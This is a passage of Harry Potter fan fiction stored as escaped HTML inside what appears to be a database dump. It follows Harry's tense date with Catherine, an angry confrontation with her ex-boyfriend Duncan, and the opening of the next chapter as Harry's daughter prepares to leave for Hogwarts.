his\ntroubled eyes from the paper and placed it in a spot where Harry would be sure\nto see it when he got home. He forced a smile onto his face for Caitlyn\'s\nbenefit as he walked back into the living room.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ready?&quot;\nhe asked her. He took her bag, and then threw some more Floo Powder into the\nfire. Already a seasoned traveler, Caitlyn easily shouted the name of Ron\'s\nhouse and he followed, troubled thoughts and all.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry was\nstanding at Catherine\'s door, taking a deep breath. He hadn\'t felt this nervous\nabout a date in a long time, he had gone out with women occasionally over the\nyears, but the thought of Hermione always kept him from having a serious\nrelationship with anyone else. He supposed one of the reasons he felt so\nanxious was because of the fact that he believed this woman was his beloved.\nHarry raised one shaky hand and knocked on the door. Immediately he heard a\ncrash and some muffled laughter. A moment later, the door was flung open and a\npretty blond woman was standing in front of him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I take\nit you\'re Harry!&quot; she said, holding out one hand. &quot;I\'m Grace,\nCatherine\'s roommate. Unfortunately, she\'s just taken a spill off her chair\nwhen she realized you were here, and I get to take her place!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;GRACE!&quot;\na voice bellowed from the direction of the living room. Catherine appeared in\nthe hallway, her face beet red and she was shaking her head at her roommate.\nHarry felt time freeze for a moment as he looked at her, the color of the dress\nshe was wearing offset her skin tone so well, and her glossy hair was\nelaborately done. He felt underdressed next to her, she was gorgeous.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry&#8230;&quot; she was apologizing as she stepped up to him. He finally shook\nhimself of his daze and smiled back at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nall right.&quot; He said. He turned to Grace. &quot;It\'s nice to meet\nyou,&quot; he said, and shook her hand. She smiled back at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I was\njust kidding before. You two have fun tonight!&quot; she said, and pushed the\nboth of them out the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wow.&quot;\nHarry said, staring at the now closed door. &quot;She\'s certainly um&#8230;.\nenergetic?&quot; he looked at Catherine.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You have\nno idea.&quot; Catherine replied, rolling her eyes. &quot;I hope I\'m not too\noverdressed or anything&#8230;&quot; she said, tugging unconsciously on the bottom of\nthe dress she was wearing.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh no,\nit\'s fine&#8230;you look amazing&#8230;&quot; Harry said. He held out the rose. &quot;This\nis for you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh,\nthank you!&quot; she said, taking the rose. She lifted it up to her nose and\nsniffed it deeply. &quot;It\'s beautiful.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m glad\nyou like it.&quot; Harry smiled. &quot;Frieda told me it should bloom for two\nweeks.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ahhh&#8230;Frieda\'s\nflowers are the best.&quot; Catherine agreed. Harry took her arm.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We\nshould go,&quot; he said. &quot;I have reservations at eight at Moonspun\nMenagerie.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine was\nimpressed. &quot;How on earth did you manage to get reservations there?&quot;\nshe asked as they made their way outside.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh,\nbegged and pleaded&#8230;&quot; Harry winked at her. &quot;I also dropped my\nname&#8230;.&quot; They both laughed. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nsuch a nice night.&quot; She commented, looking up at the fading blue sky.\n&quot;Sometimes in the evening I like to sit on the roof of our building and\njust look at the sky.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry added\nthis to his mental list of similarities. When she was pregnant with Caitlyn, he\nand Hermione had often sat on their rooftop and stargazed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah,\nmaybe we should do that sometimes.&quot; Harry suggested. She agreed, and then\nin a surprising move, linked her arm through his. They walked the rest of the\nway to the restaurant in a comfortable camaderie, chatting all the while.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Reservations\nunder Potter.&quot; Harry said to the maitre d, who lifted back his head and\nstared down his nose at them. His eyes flicked up to Harry\'s forehead, and his own\ngrew wide.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Right\nthis way Mr. Potter!&quot; he said, suddenly friendly. Harry turned to\nCatherine behind the maitre d\'s back and did a haughty impression, which sent\nher into hysterics. The man turned to find out what was so funny, and Harry\nquickly straightened up while she swallowed her giggles. They followed him to\nthe back of the restaurant. Harry looked around and figured out just why it was\nso hard to get a reservation here.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The restaurant\nwas very small and intimate, there were no electric lights at all, and\neverything was lit by candles. The tables were very spaced out, so that anyone\nwho dined there would have almost complete privacy. The maitre d was leading\nthem to a table that Harry deemed perfect for the two of them. It was in a\ncorner, the chairs, rather than facing across from one another, were situated\naround the sides of the tables next to one another. Harry moved around to where\nCatherine was about to take her seat and pulled her chair out for her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks.&quot;\nShe said, unused to having a gentleman around. Duncan had never been so\nchivalrous. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\nwelcome.&quot; Harry replied. The maitre d handed them a wine list and left the\ntable without another word, he was rather miffed about Harry\'s impression.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So much\nfor his tip&#8230;&quot; Harry mumbled. Catherine smirked and scanned the list.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nyou feel like having?&quot; she asked. &quot;I\'ll get what you\'re\ngetting.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well I\ndo like Merlot, but I feel more like white wine tonight.&quot; Harry replied.\n&quot;But get whatever you want.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ten minutes\nlater they were both sipping on glasses of pinot grigio.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So tell\nme Harry,&quot; she said, setting her glass down. &quot;What were you like as a\nchild?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry bit the\ninside of his lip as she asked. \'My childhood was mostly spent with you!\' his\nmind screamed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nI\'m sure you\'ve read about me some right?&quot; he asked instead. She nodded.\n&quot;Well, I lived with my aunt and uncle until I was seventeen, then I found\nmy own flat when I graduated from Hogwarts, and I became engaged.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Engaged?&quot;\nCatherine tried to keep her voice steady, but she was sure it trembled some.\n\'Of course, he was married you dolt, he\'s got a child!\' she thought to herself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.\nBut things didn\'t work out.&quot; Harry said abruptly. &quot;What about\nyou?&quot; he countered.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\npressed her lips together. She opened her mouth, and paused for a moment.\n&quot;Well&#8230;&quot; she began. &quot;I know this must sound strange, but I can\'t\nremember anything about my childhood.&quot; She looked up at Harry and noticed\na strange light had come into his eyes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really?&quot;\nhe said, almost excitedly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She nodded.\n&quot;The first thing I can remember about my life is waking up in a hospital.\nGrace had been taking care of me for&#8230;well, I don\'t even know how long. I was a\nlittle beat up for some reason, and I had no recollection of who I was or what\nI was doing here.&quot; She paused and looked off into space for a moment.\n&quot;I just remember knowing I could do magic, that surprised me of course.\nThen Grace invited me to live with her, and well, here I am.&quot; She said.\n&quot;That\'s my life, just the past ten years.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry said\nnothing but stared at her. Their silence was broken by the arrival of the food\nthey had ordered on their plates, and they both hungrily dived in.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Can I\nask you a personal question?&quot; Catherine asked him tentatively.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\nthat?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlicked her lips before replying. &quot;What was your wife like?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry was\ncompletely taken aback. &quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nyou were married right?&quot; she said. &quot;What was she like?&quot; she\nleaned her chin on her hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;.\num&#8230;&quot; Harry tried to think. \'What do you say in this situation?\' He\nwondered. &quot;She was a very wonderful woman.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why\ndidn\'t it work out between the two of you?&quot; she pressed, not realizing\nwhat an impact her query was making.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\nat her for a long moment before replying. &quot;Actually, it didn\'t\' not \'work\nout\'. She disappeared.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstared at him, her mouth agape. &quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;She\ndisappeared.&quot; Harry said as matter of factly as possible. &quot;She was on\nher way home from work one night, and she never made it back.&quot; His voice\nwas starting to tremble slightly. Ten years of missing her and it the pain\ncould still be as fresh as the first.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry.&quot; Catherine apologized. &quot;I have such a habit of sticking my\nfoot in my mouth&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry shook\nhis head and lightly touched her hand. &quot;It\'s all right. I don\'t usually\nspeak of her and as much as it hurts sometimes, I feel comfortable around\nyou.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She boldly\ntook his hand in hers and squeezed it. &quot;Same here.&quot; They smiled at\neach other, and Harry brought his chair over closer to hers.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nwant to talk about the past anymore.&quot; He said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nyou want to talk about?&quot; she asked, a bit coyly. He still hadn\'t let go of\nher hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Us.&quot;\nHe replied. Harry had no idea what brought on his sudden surge of desire.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Surprise\nflitted across her features. &quot;What about us?&quot; In response, he lifted\nher hand up to his lips and kissed it gently. She leaned forward; their faces\nwere so close now that she could feel his breath. Catherine closed her eyes,\nshe had been thinking about this moment all day&#8230;.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Is there\nanything else I can get you?&quot; the nasal voice of a waiter brought them out\nof their almost embrace.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No,\nwe\'re fine!&quot; Harry snapped back. The waiter looked offended and yanked out\na piece of parchment from his pocket, and then dropped it on the table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nice\nservice here.&quot; Harry muttered, annoyed. He looked at Catherine, whose\ndisappointment must have mirrored his own. &quot;Shall we?&quot; She nodded,\nand Harry dropped some Galleons on the table and they left.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nthe last time I go there!&quot; Harry said. &quot;For all the good things I\nheard about that place today&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Tell me\nabout it.&quot; Catherine replied. They walked along silently for a moment, and\nthen Harry wrapped his hand around hers, lacing their fingers together.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, we\ndidn\'t get any dessert. You like ice cream?&quot; he asked, nodding his head in\nthe direction of Florean Fortescue\'s. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do I\nlike ice cream?&quot; Catherine replied. &quot;That\'s like the understatement\nof the century.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nchuckled. &quot;Ok, do you LOVE ice cream?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Chocolate.\nIt\'s got to be chocolate.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">They entered\nthe ice cream shop, where they got a number of stares due to their fancy\nclothing. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cone?&quot;\nHarry asked her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh, yes\nplease.&quot; She replied.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry got her\na chocolate cone, and for himself he ordered a peanut butter, chocolate and\npeppermint flavored ice cream on a cone.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You are\nfar more adventurous than I am.&quot; Catherine said, licking her cone.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Want to\ntry?&quot; he asked, holding it out to her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No thanks.&quot;\nShe held her cone out to him. &quot;You?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Chocolate\nis boring.&quot; He said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\ncalling me boring?&quot; she teased. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Maybe.&quot;\nHe said slyly, looking at her out of the corner of his eye.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nthen.&quot; She replied. &quot;I don\'t\' think you want to know what I think\nabout you, with those crazy flavors.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nreally&#8230;&quot; Harry said. He held out his cone threateningly as if he was about\nto put it in her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No you\ndon\'t!&quot; she cried, jumping away from him. &quot;Grace will kill me if\nanything happens to this dress!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Uh\nhuh.&quot; Harry said, still moving in on her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey,\nback away Potter!&quot; she warned. &quot;I\'m armed too you know.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grinning, he\nstopped. &quot;Right right.&quot; He said, taking a huge bite of his cone.\n&quot;Okay, I won\'t do anything. You look too nice in that dress for me to ruin\nit anyway.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nblushed and looked away, and they resumed their walking. Five minutes later,\nthey had reached their complex, and Harry realized their evening was over far\nearlier than he wanted it to be.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thank\nyou for everything tonight.&quot; Catherine told him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do you\nhave to go in yet?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, I\ndon\'t want to. But I have to be at work at seven&#8230;so unfortunately I should\nprobably turn in.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded\nreluctantly. &quot;All right.&quot; He said. &quot;But did you know you have\nice cream on your face?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I do?\nWhere?&quot; she asked, raising her hand to wipe it off. He caught it in\nmidair.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Let\nme.&quot; He brought his face down near her face and brushed her cheek with his\nlips. &quot;You have some here too&#8230;&quot; he kissed the other side as well.\n&quot;And I almost missed a spot&#8230;&quot; he said, bringing his index finger up\nand gently touching her bottom lip. His lips were just barely brushing hers&#8230;.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine!&quot;\na loud voice interrupted them. &quot;What the hell do you think you are\ndoing?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\njumped back with a gasp; her heart sank into her feet when she realized who was\nin the hallway with them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Duncan\nwhat do you want?&quot; she said, glaring at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Who?&quot;\nHarry asked, bewildered.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Duncan ignored\nHarry and focused on Catherine. His short blond hair was sticking up in spikes\nand his lanky body was heaving up and down in the wake of his anger. &quot;What\nare you doing?&quot; he asked again.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nnone of your business Duncan!&quot; she snapped. &quot;You should leave!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\ngoing on?&quot; Harry asked her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nothing.&quot;\nCatherine replied angrily. &quot;Duncan was just leaving.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No I\'m\nnot.&quot; Duncan said heatedly. &quot;What do you think you are doing with\nanother man? You\'re mine!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I am\nnot! You cheated on me!&quot; she yelled. Harry put his hand on her shoulder.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I think\nyou\'d better leave.&quot; He said to Duncan.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Stay out\nof this, asshole.&quot; Duncan snapped. He grabbed Catherine\'s arm and pulled\nher roughly towards him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;HEY!&quot;\nHarry roared. He tried to pull her back, but Duncan pushed him against the wall\nhard, and Harry saw stars for a moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Duncan shook\nCatherine. &quot;So this is how it is now, is it? You, being a slut!&quot;\nCatherine\'s mouth opened in shock, and she reached back her hand and slapped\nDuncan\'s face. A stinging red mark appeared where she had hit.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bitch!&quot;\nhe snapped, pinching her upper arm. &quot;You don\'t EVER hit me!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;HEY!&quot;\nHarry roared again, finally regaining his senses. &quot;GET YOUR HANDS OFF MY\nWIFE!&quot; the sentence slipped out before he had a chance to stop it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Both Catherine\nand Duncan stopped their struggle and stared at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nshe was the first to recover.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nswallowed hard. &quot;I&#8230;. uh&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine took\nthis opportunity to push Duncan away from her. &quot;Get the hell away from me\nDuncan. If you ever come near me again, I swear I will hex you from here till\nnext Tuesday, and that\'s a promise.&quot; She pulled her wand out of her purse\nto prove her point. Duncan, being the weakling that he really was, stumbled\naway and almost fell down the stairs trying to get out of the building. Seeing\nthat he was gone, Catherine turned back to Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nsuppose you\'d mind telling me what that little outburst was all about?&quot;\nshe asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\ncan\'t.&quot; Harry said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why\nnot?&quot; her voice was becoming very controlled, which was not a good thing.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Because&#8230;I\njust can\'t.&quot; Harry\'s eyes pleaded with her to understand. &quot;It\'s just\nnot the right time yet.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes it\nis.&quot; She insisted. &quot;You called me your wife. Funnily enough, you just\ntold me less than an hour ago that your wife disappeared. So tell me now, why\ndid you say that?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry opened\nhis mouth to explain, but no words came out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nnodded. &quot;I see how it is.&quot; She stepped by him and took out her keys.\n&quot;I think this is goodnight then, don\'t you agree, Mr. Potter?&quot; her\nbrown eyes had turned cold.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Please\ndon\'t.&quot; Harry heard himself. She ignored him and unlocked the door,\nstepped inside, and slammed it shut.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstood in the darkened hallway and tried to steady her breathing. She had never\nfelt so infuriated in her life at anyone. She threw her purse down on the table\nand walked into the living room and snapped the lights on.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oof&#8230;&quot;\nGrace said. She rolled off the couch; rather, she rolled off the person who was\non the couch. &quot;Cath?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry.&quot;\nCatherine said shortly. She turned the lights back off and stalked down the\nhallway, slamming the door to her bedroom.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Who was\nthat?&quot; Justin Finch Fletchley asked as he pulled his shirt back on and\ntried to wipe off lipstick smears from his face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;My\nroommate.&quot; Grace replied. &quot;I\'ll be right back.&quot; She patted his\nshoulder and walked down the hallway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cath?&quot;\nshe knocked softly on the door. &quot;What\'s wrong?&quot; When she got no\nanswer, she tried to open the door, but it was locked. &quot;Catherine!&quot;\nshe called again.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Just leave\nme alone.&quot; Catherine called out dully.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No.&quot;\nGrace replied. &quot;What\'s wrong?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nwant to talk now.&quot; Catherine replied. Grace nodded, even though she knew\nCatherine couldn\'t see her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nsure?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.\nGoodnight.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry let\nhimself into his flat and tore off his tie. He flung it into a corner then\nstomped into the kitchen.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Fucking\nidiot!&quot; he cursed himself. &quot;How could you have been so stupid?&quot;\nHe pulled on his hair hard and swore again. Placing his hands on the counter,\nhe saw Ron\'s note.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Found\nout about curse&#8230;. must talk as soon as possible &#8230;&quot; he read to himself. He\nsighed heavily and dropped down into a kitchen chair. &quot;I hope Ron has good\nnews.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry got back\nup and made his way into the bedroom, where, much like the last night, he\nflopped down and stared at the ceiling. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why did\neverything have to go wrong?&quot; he muttered.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Wow, I\nreally hate that Duncan, talk about spoiling the mood. Eek, I really didn\'t\nlike what happened there but it was kinda inevitable. Next chap should be more\nenjoyable, I promise! Please don\'t forget to R/R and let me know how I\'m doing!)</p>\n\n\n\n\n\n\n'),
	(77, 8, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 8</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: WOW I\nmade over 100 reviews! I can\'t tell you guys how excited that makes me!! Thank\nyou all so much for reading and making that possible!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ok, about this\nchapter, it\'s going to be a long one, and its rated R for a situation that\nhappens later on in the chapter. Happy reading! Oh, and ~* *~ means flashback.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">I have mood\nmusic for this chapter! I will let you know what parts it goes with, as the fic\ngoes on. Here is the list:</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Moonlight\nSonata by Beethoven</p>\n\n<p class="MsoPlainText">Silence by\nDelirium featuring Sarah McLachlan</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">You can\ndownload them from Kazaa or something like that and listen when I tell you in\nthe chapter!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry knocked\non his daughter\'s door. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat, do you have everything you need?&quot; he called. She flung the door open\nand Harry stared agape at the mess of clothing and books on her floor.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s not\nas bad as it looks!&quot; she spoke up before he could say anything. &quot;I\nswear it\'s not.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'d\nbetter not be.&quot; Harry said, giving her a look. &quot;We need to get going\nin about forty minutes, you have to be packed up by then.&quot; He gave her\nroom one last exasperated look and headed down the hallway towards the kitchen.\nHe poured some water into a mug, added a tea bag and zapped it with his wand to\nheat it up. He sipped it slowly as he sat down at the kitchen table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What a\nrotten week&#8230;&quot; he muttered as he rubbed his eyes wearily. Caitlyn was\nleaving for Hogwarts today; it would be the first time in their lives that they\nwould be separated. Harry was already feeling a bit of empty nest syndrome; he\nwasn\'t sure what he\'d do without her constant chatter and presence in the home.\nAnd if that wasn\'t bad enough for him, Catherine still refused to speak to him.\nHe had sent her flowers; she had come to his door with them and said she\ncouldn\'t accept them unless he told her about what he had meant the night of\ntheir date. A few days after that he had gone to her flat, and Grace had\nanswered the door, and sorrowfully informed him that Catherine would not see\nhim.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p 